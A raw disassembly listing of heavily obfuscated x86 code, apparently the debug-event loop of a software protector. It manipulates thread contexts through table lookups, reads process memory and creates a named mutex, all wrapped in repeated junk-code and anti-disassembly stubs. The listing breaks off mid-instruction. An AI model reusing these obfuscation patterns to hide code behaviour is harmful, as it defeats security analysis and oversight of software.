; --------------------------------------------------------------------------- loc_4BB0B6: ; CODE XREF: .text:004BB0C2j mov ecx, 34F9C987h nop stc jz short loc_4BB0C4 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BB0C0: ; CODE XREF: .text:004BB0B1j xor eax, eax jz short loc_4BB0B6 loc_4BB0C4: ; CODE XREF: .text:004BB0BDj mov eax, 4840C987h test eax, eax jnz short loc_4BB0AA loc_4BB0CD: ; CODE XREF: .text:loc_4BB0AAj jmp near ptr 92B24E33h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax jmp loc_4BAE0E ; --------------------------------------------------------------------------- loc_4BB0DB: ; CODE XREF: .text:004BAE24j mov ecx, dword_4F4784 mov [ebp-1910h], ecx mov edx, [ebp-1910h] push edx call sub_4C85D6 add esp, 4 pusha xor eax, eax jnz short loc_4BB0FD jmp short loc_4BB112 ; --------------------------------------------------------------------------- loc_4BB0FD: ; CODE XREF: .text:004BB0F9j jmp short loc_4BB132 ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; --------------------------------------------------------------------------- loc_4BB104: ; CODE XREF: .text:loc_4BB112j jo short loc_4BB114 jmp short near ptr loc_4BB114+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4BB11B loc_4BB112: ; CODE XREF: .text:004BB0FBj jz short loc_4BB104 loc_4BB114: ; CODE XREF: .text:loc_4BB104j ; .text:004BB106j jmp short loc_4BB09D ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4BB11B: ; CODE XREF: .text:004BB110j popa loc_4BB11C: ; CODE XREF: .text:004BACE2j ; .text:004BACF1j push ecx bswap ecx not ecx push eax loc_4BB122: ; CODE XREF: .text:004BB190j not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax loc_4BB132: ; CODE XREF: .text:loc_4BB0FDj pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BB13F loc_4BB13C: ; CODE XREF: .text:004BB15Dj jmp short near ptr loc_4BB15F+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BB13F: ; CODE XREF: .text:004BB13Aj xor ebx, ebx jz short $+2 jmp short loc_4BB152 ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BB148: ; CODE XREF: .text:004BB154j mov ecx, 34F9C987h nop stc jz short loc_4BB156 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BB152: ; CODE XREF: .text:004BB143j xor eax, eax jz short loc_4BB148 loc_4BB156: ; CODE XREF: .text:004BB14Fj mov eax, 4840C987h test eax, eax jnz short loc_4BB13C loc_4BB15F: ; CODE XREF: .text:loc_4BB13Cj jmp near ptr 92B24EC5h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax cmp dword_4F4784, 0 jz loc_4BB608 push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BB1AC ; CODE XREF: .text:loc_4BB1ACj ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BB184: ; CODE XREF: .text:004BB1A5j jmp short loc_4BB1A3 ; --------------------------------------------------------------------------- loc_4BB186: ; CODE XREF: .text:loc_4BB1A3j xor ecx, ecx loc_4BB188: ; CODE XREF: .text:004BB197j jz short $+2 jmp short loc_4BB19C ; --------------------------------------------------------------------------- loc_4BB18C: ; CODE XREF: .text:004BB1A0j stc xor ecx, 3 jz short loc_4BB122 jmp short loc_4BB199 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BB195: ; CODE XREF: .text:loc_4BB199j jmp short loc_4BB1A7 ; --------------------------------------------------------------------------- jz short loc_4BB188 loc_4BB199: ; CODE XREF: .text:004BB192j jnb short loc_4BB195 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BB19C: ; CODE XREF: .text:004BB18Aj sbb bl, bl xor ebx, ebx jmp short loc_4BB18C ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BB1A3: ; CODE XREF: .text:loc_4BB184j jmp short loc_4BB186 ; --------------------------------------------------------------------------- jmp short loc_4BB184 ; --------------------------------------------------------------------------- loc_4BB1A7: ; CODE XREF: .text:loc_4BB195j repne sbb al, 0DBh jmp short loc_4BB1AF ; --------------------------------------------------------------------------- loc_4BB1AC: ; CODE XREF: .text:004BB17Fj jmp short near ptr loc_4BB17F+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BB1AF: ; CODE XREF: .text:004BB1AAj popa popf bswap eax not ecx bswap eax not ecx mov eax, [ebp-0A30h] ; CODE XREF: .text:004BB22Bj mov ecx, [eax+8] push ecx call sub_4BDA71 add esp, 4 mov [ebp-11C0h], eax jo short loc_4BB1DA jl short loc_4BB1D8 loc_4BB1D5: ; CODE XREF: .text:loc_4BB1D8j ; .text:loc_4BB1DAj jmp short loc_4BB1DC ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BB1D8: ; CODE XREF: .text:004BB1D3j jz short loc_4BB1D5 loc_4BB1DA: ; CODE XREF: .text:004BB1D1j jmp short loc_4BB1D5 ; --------------------------------------------------------------------------- loc_4BB1DC: ; CODE XREF: .text:loc_4BB1D5j push 2CCh push 0 lea edx, [ebp-1494h] push edx call _memset_0 add esp, 0Ch mov dword ptr [ebp-1494h], 10001h lea eax, [ebp-1494h] push eax mov ecx, [ebp-11C0h] push ecx call dword_4ED0E0 ; GetThreadContext push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BB247 ; CODE XREF: .text:loc_4BB247j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BB21F: ; CODE XREF: .text:004BB240j jmp short loc_4BB23E ; --------------------------------------------------------------------------- loc_4BB221: ; CODE XREF: .text:loc_4BB23Ej xor ecx, ecx loc_4BB223: ; CODE XREF: .text:004BB232j jz short $+2 jmp short loc_4BB237 ; --------------------------------------------------------------------------- loc_4BB227: ; CODE XREF: .text:004BB23Bj stc xor ecx, 3 jz short near ptr loc_4BB1B9+4 jmp short loc_4BB234 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BB230: ; CODE XREF: .text:loc_4BB234j jmp short loc_4BB242 ; --------------------------------------------------------------------------- jz short loc_4BB223 loc_4BB234: ; CODE XREF: .text:004BB22Dj jnb short loc_4BB230 ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BB237: ; CODE XREF: .text:004BB225j sbb bl, bl xor ebx, ebx jmp short loc_4BB227 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BB23E: ; CODE XREF: .text:loc_4BB21Fj jmp short loc_4BB221 ; --------------------------------------------------------------------------- jmp short loc_4BB21F ; --------------------------------------------------------------------------- loc_4BB242: ; CODE XREF: .text:loc_4BB230j repne sbb al, 0DBh jmp short loc_4BB24A ; --------------------------------------------------------------------------- loc_4BB247: ; CODE XREF: .text:004BB21Aj jmp short near ptr loc_4BB21A+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BB24A: ; CODE XREF: .text:004BB245j popa popf bswap eax not ecx bswap eax not ecx mov dword ptr [ebp-1498h], 0 push 0FFFFFFFFh push 4 lea edx, [ebp-13DCh] push edx call sub_490FB0 add esp, 0Ch mov [ebp-11C4h], eax mov eax, [ebp-11C4h] xor edx, edx mov ecx, 1Eh div ecx mov [ebp-11C8h], edx mov edx, [ebp-13DCh] push edx mov eax, [ebp-11C8h] call off_4F1F00[eax*4] add esp, 4 mov [ebp-1498h], eax mov dword ptr [ebp-149Ch], 0 mov ecx, [ebp-11C8h] mov edx, dword_4F45C8[ecx*4] mov [ebp-11BCh], edx loc_4BB2C6: ; CODE XREF: .text:loc_4BB32Ej mov eax, [ebp-149Ch] cmp eax, [ebp-11BCh] jge short loc_4BB330 mov eax, [ebp-11BCh] ; CODE XREF: .text:loc_4BB34Ej sub eax, [ebp-149Ch] cdq sub eax, edx sar eax, 1 mov ecx, [ebp-149Ch] add ecx, eax mov [ebp-14A0h], ecx mov edx, [ebp-11C8h] mov eax, dword_4F4530[edx*4] mov ecx, [ebp-14A0h] mov edx, [ebp-1498h] cmp edx, [eax+ecx*4] jbe short loc_4BB322 mov eax, [ebp-14A0h] add eax, 1 mov [ebp-149Ch], eax jmp short loc_4BB32E ; --------------------------------------------------------------------------- loc_4BB322: ; CODE XREF: .text:004BB30Fj mov ecx, [ebp-14A0h] mov [ebp-11BCh], ecx loc_4BB32E: ; CODE XREF: .text:004BB320j jmp short loc_4BB2C6 ; --------------------------------------------------------------------------- loc_4BB330: ; CODE XREF: .text:004BB2D2j pusha xor eax, eax jnz short loc_4BB337 jmp short loc_4BB34C ; --------------------------------------------------------------------------- loc_4BB337: ; CODE XREF: .text:004BB333j jmp short loc_4BB36C ; --------------------------------------------------------------------------- db 0C0h, 75h, 18h db 7Ah, 0Ch ; --------------------------------------------------------------------------- loc_4BB33E: ; CODE XREF: .text:loc_4BB34Cj jo short loc_4BB34E jmp short near ptr loc_4BB34E+1 ; --------------------------------------------------------------------------- dw 72E8h dd 0FFF1790Eh, 9790015h ; --------------------------------------------------------------------------- loc_4BB34C: ; CODE XREF: .text:004BB335j jz short loc_4BB33E loc_4BB34E: ; CODE XREF: .text:loc_4BB33Ej ; .text:004BB340j jmp short near ptr loc_4BB2D4+3 ; --------------------------------------------------------------------------- dd 0A0F07ADBh, 958B6133h, 0FFFFEE38h, 3095048Bh, 8B004F45h dd 0FFEB648Dh, 88148BFFh ; --------------------------------------------------------------------------- loc_4BB36C: ; CODE XREF: .text:loc_4BB337j cmp edx, [ebp-1498h] jnz loc_4BB608 push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BB39B loc_4BB398: ; CODE XREF: .text:004BB3B9j jmp short near ptr loc_4BB3BB+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BB39B: ; CODE XREF: .text:004BB396j xor ebx, ebx jz short $+2 jmp short loc_4BB3AE ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BB3A4: ; CODE XREF: .text:004BB3B0j mov ecx, 34F9C987h nop stc jz short loc_4BB3B2 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BB3AE: ; CODE XREF: .text:004BB39Fj xor eax, eax jz short loc_4BB3A4 loc_4BB3B2: ; CODE XREF: .text:004BB3ABj mov eax, 4840C987h test eax, eax jnz short loc_4BB398 loc_4BB3BB: ; CODE XREF: .text:loc_4BB398j jmp near ptr 92B25121h ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax jo short loc_4BB3CD jl short loc_4BB3CB loc_4BB3C8: ; CODE XREF: .text:loc_4BB3CBj ; .text:loc_4BB3CDj jmp short loc_4BB3CF ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BB3CB: ; CODE XREF: .text:004BB3C6j jz short loc_4BB3C8 loc_4BB3CD: ; CODE XREF: .text:004BB3C4j jmp short loc_4BB3C8 ; --------------------------------------------------------------------------- loc_4BB3CF: ; CODE XREF: .text:loc_4BB3C8j mov eax, [ebp-11C8h] mov ecx, dword_4F4640[eax*4] mov edx, [ebp-149Ch] mov eax, [ecx+edx*4] mov [ebp-14B4h], eax mov ecx, [ebp-13D4h] and ecx, 0FD7h mov [ebp-14A4h], ecx mov edx, [ebp-14B4h] and edx, 0FF000000h ; CODE XREF: .text:loc_4BB47Dj shr edx, 18h mov [ebp-14B0h], edx mov eax, [ebp-14B4h] and eax, 0FFFFFFh mov [ebp-14ACh], eax mov ecx, [ebp-13E8h] push ecx mov edx, [ebp-14A4h] push edx mov eax, [ebp-14ACh] push eax mov ecx, [ebp-14B0h] call off_4ED844[ecx*4] add esp, 0Ch mov [ebp-14A8h], eax mov edx, [ebp-14A8h] and edx, 1 test edx, edx jz loc_4BB50D pusha xor eax, eax jnz short loc_4BB466 jmp short loc_4BB47B ; --------------------------------------------------------------------------- loc_4BB466: ; CODE XREF: .text:004BB462j jmp short loc_4BB49B ; --------------------------------------------------------------------------- dd 7A1875C0h db 0Ch ; --------------------------------------------------------------------------- loc_4BB46D: ; CODE XREF: .text:loc_4BB47Bj jo short loc_4BB47D jmp short near ptr loc_4BB47D+1 ; --------------------------------------------------------------------------- db 0E8h, 72h, 0Eh dd 15FFF179h db 0, 79h, 9 ; --------------------------------------------------------------------------- loc_4BB47B: ; CODE XREF: .text:004BB464j jz short loc_4BB46D loc_4BB47D: ; CODE XREF: .text:loc_4BB46Dj ; .text:004BB46Fj jmp short near ptr loc_4BB403+3 ; --------------------------------------------------------------------------- db 0DBh dd 33A0F07Ah, 38858B61h, 8BFFFFEEh, 44B8850Ch, 858B004Fh dd 0FFFFEB64h db 33h, 0D2h, 0BEh ; --------------------------------------------------------------------------- loc_4BB49B: ; CODE XREF: .text:loc_4BB466j pop ss ; --------------------------------------------------------------------------- dd 0F7000000h, 64858BF6h, 8BFFFFEBh, 8C33810Ch, 0FFEE6495h dd 24958BFFh, 3FFFFECh, 249589D1h, 51FFFFECh, 0D1F7C90Fh dd 0B8D0F750h, 6C65696Dh, 0C0DEB991h, 0F791DEADh, 0D1F758D0h dd 33609C59h, 0EB0374DBh, 0DB33EB22h, 0DEB0074h, 0B90FEBB8h dd 34F9C987h, 574F990h, 74C033EBh, 0C987B8F2h, 0C0854840h dd 61E9DD75h, 6692669Dh, 0EBC08B92h db 75h ; --------------------------------------------------------------------------- loc_4BB50D: ; CODE XREF: .text:004BB459j jo short loc_4BB516 jl short loc_4BB514 loc_4BB511: ; CODE XREF: .text:loc_4BB514j ; .text:loc_4BB516j jmp short loc_4BB518 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BB514: ; CODE XREF: .text:004BB50Fj jz short loc_4BB511 loc_4BB516: ; CODE XREF: .text:loc_4BB50Dj jmp short loc_4BB511 ; --------------------------------------------------------------------------- loc_4BB518: ; CODE XREF: .text:loc_4BB511j mov eax, [ebp-11C8h] mov ecx, dword_4F46C0[eax*4] mov edx, [ebp-149Ch] xor eax, eax mov al, [ecx+edx] mov ecx, [ebp-13DCh] add ecx, eax mov [ebp-13DCh], ecx push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BB575 ; CODE XREF: .text:loc_4BB575j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BB54D: ; CODE XREF: .text:004BB56Ej jmp short loc_4BB56C ; --------------------------------------------------------------------------- loc_4BB54F: ; CODE XREF: .text:loc_4BB56Cj xor ecx, ecx loc_4BB551: ; CODE XREF: .text:004BB560j jz short $+2 jmp short loc_4BB565 ; --------------------------------------------------------------------------- loc_4BB555: ; CODE XREF: .text:004BB569j stc xor ecx, 3 jz short near ptr dword_4BB49C+4Fh jmp short loc_4BB562 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BB55E: ; CODE XREF: .text:loc_4BB562j jmp short loc_4BB570 ; --------------------------------------------------------------------------- jz short loc_4BB551 loc_4BB562: ; CODE XREF: .text:004BB55Bj jnb short loc_4BB55E ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BB565: ; CODE XREF: .text:004BB553j sbb bl, bl xor ebx, ebx jmp short loc_4BB555 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BB56C: ; CODE XREF: .text:loc_4BB54Dj jmp short loc_4BB54F ; --------------------------------------------------------------------------- jmp short loc_4BB54D ; --------------------------------------------------------------------------- loc_4BB570: ; CODE XREF: .text:loc_4BB55Ej repne sbb al, 0DBh jmp short loc_4BB578 ; --------------------------------------------------------------------------- loc_4BB575: ; CODE XREF: .text:004BB548j jmp short near ptr loc_4BB548+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BB578: ; CODE XREF: .text:004BB573j popa popf bswap eax not ecx bswap eax not ecx push ecx bswap ecx not ecx push eax not eax ; CODE XREF: .text:loc_4BB600j mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BB5A5 loc_4BB5A2: ; CODE XREF: .text:004BB5C3j jmp short near ptr loc_4BB5C5+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BB5A5: ; CODE XREF: .text:004BB5A0j xor ebx, ebx jz short $+2 jmp short loc_4BB5B8 ; --------------------------------------------------------------------------- db 0B8h db 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BB5AE: ; CODE XREF: .text:004BB5BAj mov ecx, 34F9C987h nop stc jz short loc_4BB5BC ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BB5B8: ; CODE XREF: .text:004BB5A9j xor eax, eax jz short loc_4BB5AE loc_4BB5BC: ; CODE XREF: .text:004BB5B5j mov eax, 4840C987h test eax, eax jnz short loc_4BB5A2 loc_4BB5C5: ; CODE XREF: .text:loc_4BB5A2j jmp near ptr 92B2532Bh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax lea edx, [ebp-1494h] push edx mov eax, [ebp-11C0h] push eax call dword_4ED0DC ; SetThreadContext pusha xor eax, eax jnz short loc_4BB5E9 jmp short loc_4BB5FE ; --------------------------------------------------------------------------- loc_4BB5E9: ; CODE XREF: .text:004BB5E5j jmp short near ptr loc_4BB61D+1 ; --------------------------------------------------------------------------- db 0C0h dd 0C7A1875h ; --------------------------------------------------------------------------- loc_4BB5F0: ; CODE XREF: .text:loc_4BB5FEj jo short loc_4BB600 jmp short near ptr loc_4BB600+1 ; --------------------------------------------------------------------------- dd 790E72E8h, 15FFF1h ; --------------------------------------------------------------------------- jns short loc_4BB607 loc_4BB5FE: ; CODE XREF: .text:004BB5E7j jz short loc_4BB5F0 loc_4BB600: ; CODE XREF: .text:loc_4BB5F0j ; .text:004BB5F2j jmp short near ptr loc_4BB588+1 ; --------------------------------------------------------------------------- dw 7ADBh db 0F0h, 0A0h, 33h ; --------------------------------------------------------------------------- loc_4BB607: ; CODE XREF: .text:004BB5FCj popa loc_4BB608: ; CODE XREF: .text:004BAC89j ; .text:004BB16Fj ... mov dword ptr [ebp-0A34h], 10002h jmp short loc_4BB66A ; --------------------------------------------------------------------------- loc_4BB614: ; CODE XREF: .text:004BAA19j jo short loc_4BB61D jl short loc_4BB61B loc_4BB618: ; CODE XREF: .text:loc_4BB61Bj ; .text:loc_4BB61Dj jmp short loc_4BB61F ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BB61B: ; CODE XREF: .text:004BB616j jz short loc_4BB618 loc_4BB61D: ; CODE XREF: .text:loc_4BB614j ; .text:loc_4BB5E9j jmp short loc_4BB618 ; --------------------------------------------------------------------------- loc_4BB61F: ; CODE XREF: .text:loc_4BB618j mov ecx, [ebp-0A30h] mov edx, [ecx+0Ch] ; CODE XREF: .text:004BB695j mov [ebp-14B8h], edx mov eax, [ebp-14B8h] mov [ebp-1AA8h], eax cmp dword ptr [ebp-1AA8h], 0C0000008h jz short loc_4BB660 cmp dword ptr [ebp-1AA8h], 0C00000FDh jz short loc_4BB660 cmp dword ptr [ebp-1AA8h], 0C0000235h jz short loc_4BB660 jmp short loc_4BB66A ; --------------------------------------------------------------------------- loc_4BB660: ; CODE XREF: .text:004BB644j ; .text:004BB650j ... mov dword ptr [ebp-0A34h], 10002h loc_4BB66A: ; CODE XREF: .text:loc_4BA558j ; .text:loc_4BAA02j ... jmp loc_4BC095 ; --------------------------------------------------------------------------- loc_4BB66F: ; CODE XREF: .text:004B9E59j mov ecx, [ebp-0A30h] cmp dword ptr [ecx], 2 jnz short loc_4BB6F8 push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BB6B1 ; CODE XREF: .text:loc_4BB6B1j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BB689: ; CODE XREF: .text:loc_4BB6AAj jmp short loc_4BB6A8 ; --------------------------------------------------------------------------- loc_4BB68B: ; CODE XREF: .text:loc_4BB6A8j xor ecx, ecx loc_4BB68D: ; CODE XREF: .text:004BB69Cj jz short $+2 jmp short loc_4BB6A1 ; --------------------------------------------------------------------------- loc_4BB691: ; CODE XREF: .text:004BB6A5j stc xor ecx, 3 jz short near ptr loc_4BB625+2 jmp short loc_4BB69E ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BB69A: ; CODE XREF: .text:loc_4BB69Ej jmp short loc_4BB6AC ; --------------------------------------------------------------------------- jz short loc_4BB68D loc_4BB69E: ; CODE XREF: .text:004BB697j jnb short loc_4BB69A ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BB6A1: ; CODE XREF: .text:004BB68Fj sbb bl, bl xor ebx, ebx jmp short loc_4BB691 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BB6A8: ; CODE XREF: .text:loc_4BB689j jmp short loc_4BB68B ; --------------------------------------------------------------------------- loc_4BB6AA: ; CODE XREF: .text:loc_4BB721j jmp short loc_4BB689 ; --------------------------------------------------------------------------- loc_4BB6AC: ; CODE XREF: .text:loc_4BB69Aj repne sbb al, 0DBh jmp short loc_4BB6B4 ; --------------------------------------------------------------------------- loc_4BB6B1: ; CODE XREF: .text:004BB684j jmp short near ptr loc_4BB684+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BB6B4: ; CODE XREF: .text:004BB6AFj popa popf bswap eax not ecx bswap eax not ecx mov edx, dword_4ED83C add edx, 1 mov dword_4ED83C, edx mov eax, [ebp-0A30h] mov ecx, [eax+0Ch] push ecx mov edx, [ebp-0A30h] mov eax, [edx+8] push eax call sub_4BDB47 add esp, 8 mov dword ptr [ebp-0A34h], 10002h jmp loc_4BC095 ; --------------------------------------------------------------------------- loc_4BB6F8: ; CODE XREF: .text:004BB678j mov ecx, [ebp-0A30h] cmp dword ptr [ecx], 4 jnz short loc_4BB759 pusha xor eax, eax jnz short loc_4BB70A jmp short loc_4BB71F ; --------------------------------------------------------------------------- loc_4BB70A: ; CODE XREF: .text:004BB706j jmp short loc_4BB73F ; --------------------------------------------------------------------------- dd 7A1875C0h db 0Ch ; --------------------------------------------------------------------------- loc_4BB711: ; CODE XREF: .text:loc_4BB71Fj jo short loc_4BB721 jmp short near ptr loc_4BB721+1 ; --------------------------------------------------------------------------- db 0E8h, 72h, 0Eh dd 15FFF179h db 0, 79h, 9 ; --------------------------------------------------------------------------- loc_4BB71F: ; CODE XREF: .text:004BB708j jz short loc_4BB711 loc_4BB721: ; CODE XREF: .text:loc_4BB711j ; .text:004BB713j jmp short loc_4BB6AA ; --------------------------------------------------------------------------- db 0DBh dd 33A0F07Ah, 3C158B61h, 83004ED8h, 158901EAh, 4ED83Ch dd 0F5D0858Bh db 2 dup(0FFh), 8Bh ; --------------------------------------------------------------------------- loc_4BB73F: ; CODE XREF: .text:loc_4BB70Aj dec eax or [ecx-18h], dl sub ds:0C4830000h, ah add al, 0C7h test ecx, esp cmc ; --------------------------------------------------------------------------- dw 0FFFFh ; --------------------------------------------------------------------------- add al, [eax] add [eax], eax jmp loc_4BC095 ; --------------------------------------------------------------------------- loc_4BB759: ; CODE XREF: .text:004BB701j mov edx, [ebp-0A30h] cmp dword ptr [edx], 5 jnz short loc_4BB7BF push ecx bswap ecx not ecx push eax not eax mov eax, 6C65696Dh xchg eax, ecx mov ecx, 0DEADC0DEh xchg eax, ecx not eax pop eax not ecx pop ecx pushf pusha xor ebx, ebx jz short loc_4BB787 loc_4BB784: ; CODE XREF: .text:004BB7A5j jmp short near ptr loc_4BB7A7+1 ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BB787: ; CODE XREF: .text:004BB782j xor ebx, ebx jz short $+2 jmp short loc_4BB79A ; --------------------------------------------------------------------------- db 0B8h, 0EBh, 0Fh ; --------------------------------------------------------------------------- loc_4BB790: ; CODE XREF: .text:004BB79Cj mov ecx, 34F9C987h nop stc jz short loc_4BB79E ; --------------------------------------------------------------------------- db 0EBh ; --------------------------------------------------------------------------- loc_4BB79A: ; CODE XREF: .text:004BB78Bj xor eax, eax jz short loc_4BB790 loc_4BB79E: ; CODE XREF: .text:004BB797j mov eax, 4840C987h test eax, eax jnz short loc_4BB784 loc_4BB7A7: ; CODE XREF: .text:loc_4BB784j jmp near ptr 92B2550Dh ; --------------------------------------------------------------------------- xchg ax, dx mov eax, eax mov dword ptr [ebp-0A34h], 10002h jmp loc_4BC095 ; CODE XREF: .text:004BB82Aj ; --------------------------------------------------------------------------- loc_4BB7BF: ; CODE XREF: .text:004BB762j mov eax, [ebp-0A30h] cmp dword ptr [eax], 8 jnz loc_4BB8DA jo short loc_4BB7D7 jl short loc_4BB7D5 loc_4BB7D2: ; CODE XREF: .text:loc_4BB7D5j ; .text:loc_4BB7D7j jmp short loc_4BB7D9 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4BB7D5: ; CODE XREF: .text:004BB7D0j jz short loc_4BB7D2 loc_4BB7D7: ; CODE XREF: .text:004BB7CEj jmp short loc_4BB7D2 ; --------------------------------------------------------------------------- loc_4BB7D9: ; CODE XREF: .text:loc_4BB7D2j mov ecx, [ebp-0A30h] xor edx, edx mov dx, [ecx+12h] mov [ebp-14C0h], edx mov eax, [ebp-14C0h] add eax, 2 push eax call sub_4C85E1 add esp, 4 mov [ebp-1914h], eax mov ecx, [ebp-1914h] mov [ebp-14BCh], ecx push eax not eax bswap eax pop eax jnb short $+2 pushf pusha jmp short loc_4BB846 ; CODE XREF: .text:loc_4BB846j ; --------------------------------------------------------------------------- sal byte ptr [eax+0Eh], cl loc_4BB81E: ; CODE XREF: .text:004BB83Fj jmp short loc_4BB83D ; --------------------------------------------------------------------------- loc_4BB820: ; CODE XREF: .text:loc_4BB83Dj xor ecx, ecx loc_4BB822: ; CODE XREF: .text:004BB831j jz short $+2 jmp short loc_4BB836 ; --------------------------------------------------------------------------- loc_4BB826: ; CODE XREF: .text:004BB83Aj stc xor ecx, 3 jz short near ptr loc_4BB7BA+2 jmp short loc_4BB833 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4BB82F: ; CODE XREF: .text:loc_4BB833j jmp short loc_4BB841 ; --------------------------------------------------------------------------- jz short loc_4BB822 loc_4BB833: ; CODE XREF: .text:004BB82Cj jnb short loc_4BB82F ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- loc_4BB836: ; CODE XREF: .text:004BB824j sbb bl, bl xor ebx, ebx jmp short loc_4BB826 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4BB83D: ; CODE XREF: .text:loc_4BB81Ej jmp short loc_4BB820 ; --------------------------------------------------------------------------- jmp short loc_4BB81E ; --------------------------------------------------------------------------- loc_4BB841: ; CODE XREF: .text:loc_4BB82Fj repne sbb al, 0DBh jmp short loc_4BB849 ; --------------------------------------------------------------------------- loc_4BB846: ; CODE XREF: .text:004BB819j jmp short near ptr loc_4BB819+1 ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_4BB849: ; CODE XREF: .text:004BB844j popa popf bswap eax not ecx bswap eax not ecx push 0 mov edx, [ebp-14C0h] add edx, 2 push edx mov eax, [ebp-14BCh] push eax mov ecx, [ebp-0A30h] mov edx, [ecx+0Ch] push edx mov eax, dword_4F4750 mov ecx, [eax] push ecx call dword_4ED0D0 ; ReadProcessMemory mov edx, [ebp-0A30h] xor eax, eax mov ax, [edx+10h] test eax, eax jz short loc_4BB8A0 cmp dword ptr [ebp-1Ch], 0 jz short loc_4BB89E mov ecx, [ebp-14BCh] push ecx call dword ptr [ebp-1Ch] loc_4BB89E: ; CODE XREF: .text:004BB892j jmp short loc_4BB8B0 ; --------------------------------------------------------------------------- loc_4BB8A0: ; CODE XREF: .text:004BB88Cj cmp dword ptr [ebp-44h], 0 jz short loc_4BB8B0 mov edx, [ebp-14BCh] push edx call dword ptr [ebp-44h] loc_4BB8B0: ; CODE XREF: .text:loc_4BB89Ej ; .text:004BB8A4j mov eax, [ebp-14BCh] mov [ebp-1918h], eax mov ecx, [ebp-1918h] push ecx call sub_4C85D6 add esp, 4 mov dword ptr [ebp-0A34h], 10002h jmp loc_4BC095 ; --------------------------------------------------------------------------- loc_4BB8DA: ; CODE XREF: .text:004BB7C8j mov edx, [ebp-0A30h] cmp dword ptr [edx], 9 jnz short loc_4BB8EA jmp loc_4BC095 ; --------------------------------------------------------------------------- loc_4BB8EA: ; CODE XREF: .text:004BB8E3j mov eax, [ebp-0A30h] cmp dword ptr [eax], 3 jnz loc_4BBE03 xor ecx, ecx mov cl, byte_4EDC44 test ecx, ecx jz loc_4BB98D mov byte_4EDC44, 0 mov edx, dword_4ED3E4 xor edx, dword_4ED420 push edx mov eax, dword_4F4750 mov ecx, [eax+8] push ecx push offset aXDa08x ; "%X::DA%08X" lea edx, [ebp-208h] push edx call _sprintf_0 add esp, 10h lea eax, [ebp-208h] push eax push 0 push 0 call dword_4ED0A4 ; CreateMutexA call dword_4ED078 ; RtlGetLastWin32Error cmp 